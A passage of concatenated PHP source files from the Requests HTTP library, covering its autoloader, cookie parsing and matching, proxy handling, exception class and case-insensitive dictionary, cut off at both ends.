			return false;
		}

		// Finally fall back to straight gzinflate
		$decompressed = @gzinflate($gz_data);
		if ($decompressed !== false) {
			return $decompressed;
		}

		// Fallback for all above failing, not expected, but included for
		// debugging and preventing regressions and to track stats
		$decompressed = @gzinflate(substr($gz_data, 2));
		if ($decompressed !== false) {
			return $decompressed;
		}

		return false;
	}
}
<?php
/**
 * Capability interface declaring the known capabilities.
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

/**
 * Capability interface declaring the known capabilities.
 *
 * This is used as the authoritative source for which capabilities can be queried.
 *
 * @package Requests\Utilities
 */
interface Capability {

	/**
	 * Support for SSL.
	 *
	 * @var string
	 */
	const SSL = 'ssl';

	/**
	 * Collection of all capabilities supported in Requests.
	 *
	 * Note: this does not automatically mean that the capability will be supported for your chosen transport!
	 *
	 * @var string[]
	 */
	const ALL = [
		self::SSL,
	];
}
<?php
/**
 * Autoloader for Requests for PHP.
 *
 * Include this file if you'd like to avoid having to create your own autoloader.
 *
 * @package Requests
 * @since   2.0.0
 *
 * @codeCoverageIgnore
 */

namespace WpOrg\Requests;

/*
 * Ensure the autoloader is only declared once.
 * This safeguard is in place as this is the typical entry point for this library
 * and this file being required unconditionally could easily cause
 * fatal "Class already declared" errors.
 */
if (class_exists('WpOrg\Requests\Autoload') === false) {

	/**
	 * Autoloader for Requests for PHP.
	 *
	 * This autoloader supports the PSR-4 based Requests 2.0.0 classes in a case-sensitive manner
	 * as the most common server OS-es are case-sensitive and the file names are in mixed case.
	 *
	 * For the PSR-0 Requests 1.x BC-layer, requested classes will be treated case-insensitively.
	 *
	 * @package Requests
	 */
	final class Autoload {

		/**
		 * List of the old PSR-0 class names in lowercase as keys with their PSR-4 case-sensitive name as a value.
		 *
		 * @var array
		 */
		private static $deprecated_classes = [
			// Interfaces.
			'requests_auth'                              => '\WpOrg\Requests\Auth',
			'requests_hooker'                            => '\WpOrg\Requests\HookManager',
			'requests_proxy'                             => '\WpOrg\Requests\Proxy',
			'requests_transport'                         => '\WpOrg\Requests\Transport',

			// Classes.
			'requests_cookie'                            => '\WpOrg\Requests\Cookie',
			'requests_exception'                         => '\WpOrg\Requests\Exception',
			'requests_hooks'                             => '\WpOrg\Requests\Hooks',
			'requests_idnaencoder'                       => '\WpOrg\Requests\IdnaEncoder',
			'requests_ipv6'                              => '\WpOrg\Requests\Ipv6',
			'requests_iri'                               => '\WpOrg\Requests\Iri',
			'requests_response'                          => '\WpOrg\Requests\Response',
			'requests_session'                           => '\WpOrg\Requests\Session',
			'requests_ssl'                               => '\WpOrg\Requests\Ssl',
			'requests_auth_basic'                        => '\WpOrg\Requests\Auth\Basic',
			'requests_cookie_jar'                        => '\WpOrg\Requests\Cookie\Jar',
			'requests_proxy_http'                        => '\WpOrg\Requests\Proxy\Http',
			'requests_response_headers'                  => '\WpOrg\Requests\Response\Headers',
			'requests_transport_curl'                    => '\WpOrg\Requests\Transport\Curl',
			'requests_transport_fsockopen'               => '\WpOrg\Requests\Transport\Fsockopen',
			'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary',
			'requests_utility_filterediterator'          => '\WpOrg\Requests\Utility\FilteredIterator',
			'requests_exception_http'                    => '\WpOrg\Requests\Exception\Http',
			'requests_exception_transport'               => '\WpOrg\Requests\Exception\Transport',
			'requests_exception_transport_curl'          => '\WpOrg\Requests\Exception\Transport\Curl',
			'requests_exception_http_304'                => '\WpOrg\Requests\Exception\Http\Status304',
			'requests_exception_http_305'                => '\WpOrg\Requests\Exception\Http\Status305',
			'requests_exception_http_306'                => '\WpOrg\Requests\Exception\Http\Status306',
			'requests_exception_http_400'                => '\WpOrg\Requests\Exception\Http\Status400',
			'requests_exception_http_401'                => '\WpOrg\Requests\Exception\Http\Status401',
			'requests_exception_http_402'                => '\WpOrg\Requests\Exception\Http\Status402',
			'requests_exception_http_403'                => '\WpOrg\Requests\Exception\Http\Status403',
			'requests_exception_http_404'                => '\WpOrg\Requests\Exception\Http\Status404',
			'requests_exception_http_405'                => '\WpOrg\Requests\Exception\Http\Status405',
			'requests_exception_http_406'                => '\WpOrg\Requests\Exception\Http\Status406',
			'requests_exception_http_407'                => '\WpOrg\Requests\Exception\Http\Status407',
			'requests_exception_http_408'                => '\WpOrg\Requests\Exception\Http\Status408',
			'requests_exception_http_409'                => '\WpOrg\Requests\Exception\Http\Status409',
			'requests_exception_http_410'                => '\WpOrg\Requests\Exception\Http\Status410',
			'requests_exception_http_411'                => '\WpOrg\Requests\Exception\Http\Status411',
			'requests_exception_http_412'                => '\WpOrg\Requests\Exception\Http\Status412',
			'requests_exception_http_413'                => '\WpOrg\Requests\Exception\Http\Status413',
			'requests_exception_http_414'                => '\WpOrg\Requests\Exception\Http\Status414',
			'requests_exception_http_415'                => '\WpOrg\Requests\Exception\Http\Status415',
			'requests_exception_http_416'                => '\WpOrg\Requests\Exception\Http\Status416',
			'requests_exception_http_417'                => '\WpOrg\Requests\Exception\Http\Status417',
			'requests_exception_http_418'                => '\WpOrg\Requests\Exception\Http\Status418',
			'requests_exception_http_428'                => '\WpOrg\Requests\Exception\Http\Status428',
			'requests_exception_http_429'                => '\WpOrg\Requests\Exception\Http\Status429',
			'requests_exception_http_431'                => '\WpOrg\Requests\Exception\Http\Status431',
			'requests_exception_http_500'                => '\WpOrg\Requests\Exception\Http\Status500',
			'requests_exception_http_501'                => '\WpOrg\Requests\Exception\Http\Status501',
			'requests_exception_http_502'                => '\WpOrg\Requests\Exception\Http\Status502',
			'requests_exception_http_503'                => '\WpOrg\Requests\Exception\Http\Status503',
			'requests_exception_http_504'                => '\WpOrg\Requests\Exception\Http\Status504',
			'requests_exception_http_505'                => '\WpOrg\Requests\Exception\Http\Status505',
			'requests_exception_http_511'                => '\WpOrg\Requests\Exception\Http\Status511',
			'requests_exception_http_unknown'            => '\WpOrg\Requests\Exception\Http\StatusUnknown',
		];

		/**
		 * Register the autoloader.
		 *
		 * Note: the autoloader is *prepended* in the autoload queue.
		 * This is done to ensure that the Requests 2.0 autoloader takes precedence
		 * over a potentially (dependency-registered) Requests 1.x autoloader.
		 *
		 * @internal This method contains a safeguard against the autoloader being
		 * registered multiple times. This safeguard uses a global constant to
		 * (hopefully/in most cases) still function correctly, even if the
		 * class would be renamed.
		 *
		 * @return void
		 */
		public static function register() {
			if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) {
				spl_autoload_register([self::class, 'load'], true);
				define('REQUESTS_AUTOLOAD_REGISTERED', true);
			}
		}

		/**
		 * Autoloader.
		 *
		 * @param string $class_name Name of the class name to load.
		 *
		 * @return bool Whether a class was loaded or not.
		 */
		public static function load($class_name) {
			// Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4).
			$psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\');

			if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) {
				return false;
			}

			$class_lower = strtolower($class_name);

			if ($class_lower === 'requests') {
				// Reference to the original PSR-0 Requests class.
				$file = dirname(__DIR__) . '/library/Requests.php';
			} elseif ($psr_4_prefix_pos === 0) {
				// PSR-4 classname.
				$file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php';
			}

			if (isset($file) && file_exists($file)) {
				include $file;
				return true;
			}

			/*
			 * Okay, so the class starts with "Requests", but we couldn't find the file.
			 * If this is one of the deprecated/renamed PSR-0 classes being requested,
			 * let's alias it to the new name and throw a deprecation notice.
			 */
			if (isset(self::$deprecated_classes[$class_lower])) {
				/*
				 * Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations
				 * by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`.
				 * The constant needs to be defined before the first deprecated class is requested
				 * via this autoloader.
				 */
				if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) {
					// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error
					trigger_error(
						'The PSR-0 `Requests_...` class names in the Requests library are deprecated.'
						. ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.',
						E_USER_DEPRECATED
					);

					// Prevent the deprecation notice from being thrown twice.
					if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) {
						define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true);
					}
				}

				// Create an alias and let the autoloader recursively kick in to load the PSR-4 class.
				return class_alias(self::$deprecated_classes[$class_lower], $class_name, true);
			}

			return false;
		}
	}
}
<?php
/**
 * Cookie storage object
 *
 * @package Requests\Cookies
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Response\Headers;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Cookie storage object
 *
 * @package Requests\Cookies
 */
class Cookie {
	/**
	 * Cookie name.
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Cookie value.
	 *
	 * @var string
	 */
	public $value;

	/**
	 * Cookie attributes
	 *
	 * Valid keys are `'path'`, `'domain'`, `'expires'`, `'max-age'`, `'secure'` and
	 * `'httponly'`.
	 *
	 * @var \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array Array-like object
	 */
	public $attributes = [];

	/**
	 * Cookie flags
	 *
	 * Valid keys are `'creation'`, `'last-access'`, `'persistent'` and `'host-only'`.
	 *
	 * @var array
	 */
	public $flags = [];

	/**
	 * Reference time for relative calculations
	 *
	 * This is used in place of `time()` when calculating Max-Age expiration and
	 * checking time validity.
	 *
	 * @var int
	 */
	public $reference_time = 0;

	/**
	 * Create a new cookie object
	 *
	 * @param string                                                  $name           The name of the cookie.
	 * @param string                                                  $value          The value for the cookie.
	 * @param array|\WpOrg\Requests\Utility\CaseInsensitiveDictionary $attributes Associative array of attribute data
	 * @param array                                                   $flags          The flags for the cookie.
	 *                                                                                Valid keys are `'creation'`, `'last-access'`,
	 *                                                                                `'persistent'` and `'host-only'`.
	 * @param int|null                                                $reference_time Reference time for relative calculations.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $value argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $attributes argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $flags argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $reference_time argument is not an integer or null.
	 */
	public function __construct($name, $value, $attributes = [], $flags = [], $reference_time = null) {
		if (is_string($name) === false) {
			throw InvalidArgument::create(1, '$name', 'string', gettype($name));
		}

		if (is_string($value) === false) {
			throw InvalidArgument::create(2, '$value', 'string', gettype($value));
		}

		if (InputValidator::has_array_access($attributes) === false || InputValidator::is_iterable($attributes) === false) {
			throw InvalidArgument::create(3, '$attributes', 'array|ArrayAccess&Traversable', gettype($attributes));
		}

		if (is_array($flags) === false) {
			throw InvalidArgument::create(4, '$flags', 'array', gettype($flags));
		}

		if ($reference_time !== null && is_int($reference_time) === false) {
			throw InvalidArgument::create(5, '$reference_time', 'integer|null', gettype($reference_time));
		}

		$this->name       = $name;
		$this->value      = $value;
		$this->attributes = $attributes;
		$default_flags    = [
			'creation'    => time(),
			'last-access' => time(),
			'persistent'  => false,
			'host-only'   => true,
		];
		$this->flags      = array_merge($default_flags, $flags);

		$this->reference_time = time();
		if ($reference_time !== null) {
			$this->reference_time = $reference_time;
		}

		$this->normalize();
	}

	/**
	 * Get the cookie value
	 *
	 * Attributes and other data can be accessed via methods.
	 */
	public function __toString() {
		return $this->value;
	}

	/**
	 * Check if a cookie is expired.
	 *
	 * Checks the age against $this->reference_time to determine if the cookie
	 * is expired.
	 *
	 * @return boolean True if expired, false if time is valid.
	 */
	public function is_expired() {
		// RFC6265, s. 4.1.2.2:
		// If a cookie has both the Max-Age and the Expires attribute, the Max-
		// Age attribute has precedence and controls the expiration date of the
		// cookie.
		if (isset($this->attributes['max-age'])) {
			$max_age = $this->attributes['max-age'];
			return $max_age < $this->reference_time;
		}

		if (isset($this->attributes['expires'])) {
			$expires = $this->attributes['expires'];
			return $expires < $this->reference_time;
		}

		return false;
	}

	/**
	 * Check if a cookie is valid for a given URI
	 *
	 * @param \WpOrg\Requests\Iri $uri URI to check
	 * @return boolean Whether the cookie is valid for the given URI
	 */
	public function uri_matches(Iri $uri) {
		if (!$this->domain_matches($uri->host)) {
			return false;
		}

		if (!$this->path_matches($uri->path)) {
			return false;
		}

		return empty($this->attributes['secure']) || $uri->scheme === 'https';
	}

	/**
	 * Check if a cookie is valid for a given domain
	 *
	 * @param string $domain Domain to check
	 * @return boolean Whether the cookie is valid for the given domain
	 */
	public function domain_matches($domain) {
		if (is_string($domain) === false) {
			return false;
		}

		if (!isset($this->attributes['domain'])) {
			// Cookies created manually; cookies created by Requests will set
			// the domain to the requested domain
			return true;
		}

		$cookie_domain = $this->attributes['domain'];
		if ($cookie_domain === $domain) {
			// The cookie domain and the passed domain are identical.
			return true;
		}

		// If the cookie is marked as host-only and we don't have an exact
		// match, reject the cookie
		if ($this->flags['host-only'] === true) {
			return false;
		}

		if (strlen($domain) <= strlen($cookie_domain)) {
			// For obvious reasons, the cookie domain cannot be a suffix if the passed domain
			// is shorter than the cookie domain
			return false;
		}

		if (substr($domain, -1 * strlen($cookie_domain)) !== $cookie_domain) {
			// The cookie domain should be a suffix of the passed domain.
			return false;
		}

		$prefix = substr($domain, 0, strlen($domain) - strlen($cookie_domain));
		if (substr($prefix, -1) !== '.') {
			// The last character of the passed domain that is not included in the
			// domain string should be a %x2E (".") character.
			return false;
		}

		// The passed domain should be a host name (i.e., not an IP address).
		return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $domain);
	}

	/**
	 * Check if a cookie is valid for a given path
	 *
	 * From the path-match check in RFC 6265 section 5.1.4
	 *
	 * @param string $request_path Path to check
	 * @return boolean Whether the cookie is valid for the given path
	 */
	public function path_matches($request_path) {
		if (empty($request_path)) {
			// Normalize empty path to root
			$request_path = '/';
		}

		if (!isset($this->attributes['path'])) {
			// Cookies created manually; cookies created by Requests will set
			// the path to the requested path
			return true;
		}

		if (is_scalar($request_path) === false) {
			return false;
		}

		$cookie_path = $this->attributes['path'];

		if ($cookie_path === $request_path) {
			// The cookie-path and the request-path are identical.
			return true;
		}

		if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) {
			if (substr($cookie_path, -1) === '/') {
				// The cookie-path is a prefix of the request-path, and the last
				// character of the cookie-path is %x2F ("/").
				return true;
			}

			if (substr($request_path, strlen($cookie_path), 1) === '/') {
				// The cookie-path is a prefix of the request-path, and the
				// first character of the request-path that is not included in
				// the cookie-path is a %x2F ("/") character.
				return true;
			}
		}

		return false;
	}

	/**
	 * Normalize cookie and attributes
	 *
	 * @return boolean Whether the cookie was successfully normalized
	 */
	public function normalize() {
		foreach ($this->attributes as $key => $value) {
			$orig_value = $value;

			if (is_string($key)) {
				$value = $this->normalize_attribute($key, $value);
			}

			if ($value === null) {
				unset($this->attributes[$key]);
				continue;
			}

			if ($value !== $orig_value) {
				$this->attributes[$key] = $value;
			}
		}

		return true;
	}

	/**
	 * Parse an individual cookie attribute
	 *
	 * Handles parsing individual attributes from the cookie values.
	 *
	 * @param string $name Attribute name
	 * @param string|int|bool $value Attribute value (string/integer value, or true if empty/flag)
	 * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped)
	 */
	protected function normalize_attribute($name, $value) {
		switch (strtolower($name)) {
			case 'expires':
				// Expiration parsing, as per RFC 6265 section 5.2.1
				if (is_int($value)) {
					return $value;
				}

				$expiry_time = strtotime($value);
				if ($expiry_time === false) {
					return null;
				}

				return $expiry_time;

			case 'max-age':
				// Expiration parsing, as per RFC 6265 section 5.2.2
				if (is_int($value)) {
					return $value;
				}

				// Check that we have a valid age
				if (!preg_match('/^-?\d+$/', $value)) {
					return null;
				}

				$delta_seconds = (int) $value;
				if ($delta_seconds <= 0) {
					$expiry_time = 0;
				} else {
					$expiry_time = $this->reference_time + $delta_seconds;
				}

				return $expiry_time;

			case 'domain':
				// Domains are not required as per RFC 6265 section 5.2.3
				if (empty($value)) {
					return null;
				}

				// Domain normalization, as per RFC 6265 section 5.2.3
				if ($value[0] === '.') {
					$value = substr($value, 1);
				}

				return $value;

			default:
				return $value;
		}
	}

	/**
	 * Format a cookie for a Cookie header
	 *
	 * This is used when sending cookies to a server.
	 *
	 * @return string Cookie formatted for Cookie header
	 */
	public function format_for_header() {
		return sprintf('%s=%s', $this->name, $this->value);
	}

	/**
	 * Format a cookie for a Set-Cookie header
	 *
	 * This is used when sending cookies to clients. This isn't really
	 * applicable to client-side usage, but might be handy for debugging.
	 *
	 * @return string Cookie formatted for Set-Cookie header
	 */
	public function format_for_set_cookie() {
		$header_value = $this->format_for_header();
		if (!empty($this->attributes)) {
			$parts = [];
			foreach ($this->attributes as $key => $value) {
				// Ignore non-associative attributes
				if (is_numeric($key)) {
					$parts[] = $value;
				} else {
					$parts[] = sprintf('%s=%s', $key, $value);
				}
			}

			$header_value .= '; ' . implode('; ', $parts);
		}

		return $header_value;
	}

	/**
	 * Parse a cookie string into a cookie object
	 *
	 * Based on Mozilla's parsing code in Firefox and related projects, which
	 * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265
	 * specifies some of this handling, but not in a thorough manner.
	 *
	 * @param string $cookie_header Cookie header value (from a Set-Cookie header)
	 * @param string $name
	 * @param int|null $reference_time
	 * @return \WpOrg\Requests\Cookie Parsed cookie object
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
	 */
	public static function parse($cookie_header, $name = '', $reference_time = null) {
		if (is_string($cookie_header) === false) {
			throw InvalidArgument::create(1, '$cookie_header', 'string', gettype($cookie_header));
		}

		if (is_string($name) === false) {
			throw InvalidArgument::create(2, '$name', 'string', gettype($name));
		}

		$parts   = explode(';', $cookie_header);
		$kvparts = array_shift($parts);

		if (!empty($name)) {
			$value = $cookie_header;
		} elseif (strpos($kvparts, '=') === false) {
			// Some sites might only have a value without the equals separator.
			// Deviate from RFC 6265 and pretend it was actually a blank name
			// (`=foo`)
			//
			// https://bugzilla.mozilla.org/show_bug.cgi?id=169091
			$name  = '';
			$value = $kvparts;
		} else {
			list($name, $value) = explode('=', $kvparts, 2);
		}

		$name  = trim($name);
		$value = trim($value);

		// Attribute keys are handled case-insensitively
		$attributes = new CaseInsensitiveDictionary();

		if (!empty($parts)) {
			foreach ($parts as $part) {
				if (strpos($part, '=') === false) {
					$part_key   = $part;
					$part_value = true;
				} else {
					list($part_key, $part_value) = explode('=', $part, 2);
					$part_value                  = trim($part_value);
				}

				$part_key              = trim($part_key);
				$attributes[$part_key] = $part_value;
			}
		}

		return new static($name, $value, $attributes, [], $reference_time);
	}

	/**
	 * Parse all Set-Cookie headers from request headers
	 *
	 * @param \WpOrg\Requests\Response\Headers $headers Headers to parse from
	 * @param \WpOrg\Requests\Iri|null $origin URI for comparing cookie origins
	 * @param int|null $time Reference time for expiration calculation
	 * @return array
	 */
	public static function parse_from_headers(Headers $headers, Iri $origin = null, $time = null) {
		$cookie_headers = $headers->getValues('Set-Cookie');
		if (empty($cookie_headers)) {
			return [];
		}

		$cookies = [];
		foreach ($cookie_headers as $header) {
			$parsed = self::parse($header, '', $time);

			// Default domain/path attributes
			if (empty($parsed->attributes['domain']) && !empty($origin)) {
				$parsed->attributes['domain'] = $origin->host;
				$parsed->flags['host-only']   = true;
			} else {
				$parsed->flags['host-only'] = false;
			}

			$path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/');
			if (!$path_is_valid && !empty($origin)) {
				$path = $origin->path;

				// Default path normalization as per RFC 6265 section 5.1.4
				if (substr($path, 0, 1) !== '/') {
					// If the uri-path is empty or if the first character of
					// the uri-path is not a %x2F ("/") character, output
					// %x2F ("/") and skip the remaining steps.
					$path = '/';
				} elseif (substr_count($path, '/') === 1) {
					// If the uri-path contains no more than one %x2F ("/")
					// character, output %x2F ("/") and skip the remaining
					// step.
					$path = '/';
				} else {
					// Output the characters of the uri-path from the first
					// character up to, but not including, the right-most
					// %x2F ("/").
					$path = substr($path, 0, strrpos($path, '/'));
				}

				$parsed->attributes['path'] = $path;
			}

			// Reject invalid cookie domains
			if (!empty($origin) && !$parsed->domain_matches($origin->host)) {
				continue;
			}

			$cookies[$parsed->name] = $parsed;
		}

		return $cookies;
	}
}
<?php
/**
 * Event dispatcher
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

/**
 * Event dispatcher
 *
 * @package Requests\EventDispatcher
 */
interface HookManager {
	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 */
	public function register($hook, $callback, $priority = 0);

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 */
	public function dispatch($hook, $parameters = []);
}
<?php
/**
 * HTTP Proxy connection interface
 *
 * @package Requests\Proxy
 * @since   1.6
 */

namespace WpOrg\Requests\Proxy;

use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\Proxy;

/**
 * HTTP Proxy connection interface
 *
 * Provides a handler for connection via an HTTP proxy
 *
 * @package Requests\Proxy
 * @since   1.6
 */
final class Http implements Proxy {
	/**
	 * Proxy host and port
	 *
	 * Notation: "host:port" (eg 127.0.0.1:8080 or someproxy.com:3128)
	 *
	 * @var string
	 */
	public $proxy;

	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Do we need to authenticate? (ie username & password have been provided)
	 *
	 * @var boolean
	 */
	public $use_authentication;

	/**
	 * Constructor
	 *
	 * @since 1.6
	 *
	 * @param array|string|null $args Proxy as a string or an array of proxy, user and password.
	 *                                When passed as an array, must have exactly one (proxy)
	 *                                or three elements (proxy, user, password).
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array, a string or null.
	 * @throws \WpOrg\Requests\Exception\ArgumentCount On incorrect number of arguments (`proxyhttpbadargs`)
	 */
	public function __construct($args = null) {
		if (is_string($args)) {
			$this->proxy = $args;
		} elseif (is_array($args)) {
			if (count($args) === 1) {
				list($this->proxy) = $args;
			} elseif (count($args) === 3) {
				list($this->proxy, $this->user, $this->pass) = $args;
				$this->use_authentication                    = true;
			} else {
				throw ArgumentCount::create(
					'an array with exactly one element or exactly three elements',
					count($args),
					'proxyhttpbadargs'
				);
			}
		} elseif ($args !== null) {
			throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args));
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @since 1.6
	 * @see \WpOrg\Requests\Proxy\Http::curl_before_send()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_header()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks) {
		$hooks->register('curl.before_send', [$this, 'curl_before_send']);

		$hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']);
		$hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']);
		if ($this->use_authentication) {
			$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
		}
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @since 1.6
	 * @param resource|\CurlHandle $handle cURL handle
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
		curl_setopt($handle, CURLOPT_PROXY, $this->proxy);

		if ($this->use_authentication) {
			curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
			curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
		}
	}

	/**
	 * Alter remote socket information before opening socket connection
	 *
	 * @since 1.6
	 * @param string $remote_socket Socket connection string
	 */
	public function fsockopen_remote_socket(&$remote_socket) {
		$remote_socket = $this->proxy;
	}

	/**
	 * Alter remote path before getting stream data
	 *
	 * @since 1.6
	 * @param string $path Path to send in HTTP request string ("GET ...")
	 * @param string $url Full URL we're requesting
	 */
	public function fsockopen_remote_host_path(&$path, $url) {
		$path = $url;
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @since 1.6
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @since 1.6
	 * @return string
	 */
	public function get_auth_string() {
		return $this->user . ':' . $this->pass;
	}
}
<?php
/**
 * Exception for HTTP requests
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests;

use Exception as PHPException;

/**
 * Exception for HTTP requests
 *
 * @package Requests\Exceptions
 */
class Exception extends PHPException {
	/**
	 * Type of exception
	 *
	 * @var string
	 */
	protected $type;

	/**
	 * Data associated with the exception
	 *
	 * @var mixed
	 */
	protected $data;

	/**
	 * Create a new exception
	 *
	 * @param string $message Exception message
	 * @param string $type Exception type
	 * @param mixed $data Associated data
	 * @param integer $code Exception numerical code, if applicable
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		parent::__construct($message, $code);

		$this->type = $type;
		$this->data = $data;
	}

	/**
	 * Like {@see \Exception::getCode()}, but a string code.
	 *
	 * @codeCoverageIgnore
	 * @return string
	 */
	public function getType() {
		return $this->type;
	}

	/**
	 * Gives any relevant data
	 *
	 * @codeCoverageIgnore
	 * @return mixed
	 */
	public function getData() {
		return $this->data;
	}
}
<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayAccess;
use ArrayIterator;
use IteratorAggregate;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception;

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests\Utilities
 */
class CaseInsensitiveDictionary implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $data = [];

	/**
	 * Creates a case insensitive dictionary.
	 *
	 * @param array $data Dictionary/map to convert to case-insensitive
	 */
	public function __construct(array $data = []) {
		foreach ($data as $offset => $value) {
			$this->offsetSet($offset, $value);
		}
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $offset Item key
	 * @return boolean Does the item exist?
	 */
	#[ReturnTypeWillChange]
	public function offsetExists($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		return isset($this->data[$offset]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $offset Item key
	 * @return string|null Item value (null if the item key doesn't exist)
	 */
	#[ReturnTypeWillChange]
	public function offsetGet($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->data[$offset];
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	#[ReturnTypeWillChange]
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		$this->data[$offset] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $offset The key for the item to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		unset($this->data[$offset]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return \ArrayIterator
	 */
	#[ReturnTypeWillChange]
	public function getIterator() {
		return new ArrayIterator($this->data);
	}

	/**
	 * Get the headers as an array
	 *
	 * @return array Header data
	 */
	public function getAll() {
		return $this->data;
	}
}
<?php
/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayIterator;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */
final class FilteredIterator extends ArrayIterator {
	/**
	 * Callback to run as a filter
	 *
	 * @var callable
	 */
	private $callback;

	/**
	 * Create a new iterator
	 *
	 * @param array    $data     The array or object to be iterated on.
	 * @param callable $callback Callback to be called on each value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not iterable.
	 */
	public function __construct($data, $callback) {
		if (InputValidator::is_iterable($data) === false) {
			throw InvalidArgument::create(1, '$data', 'iterable', gettype($data));
		}

		parent::__construct($data);

		if (is_callable($callback)) {
			$this->callback = $callback;
		}
	}

	/**
	 * Prevent unserialization of the object for security reasons.
	 *
	 * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
	 *
	 * @param array $data Restored array of data originally serialized.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function __unserialize($data) {}
	// phpcs:enable

	/**
	 * Perform reinitialization tasks.
	 *
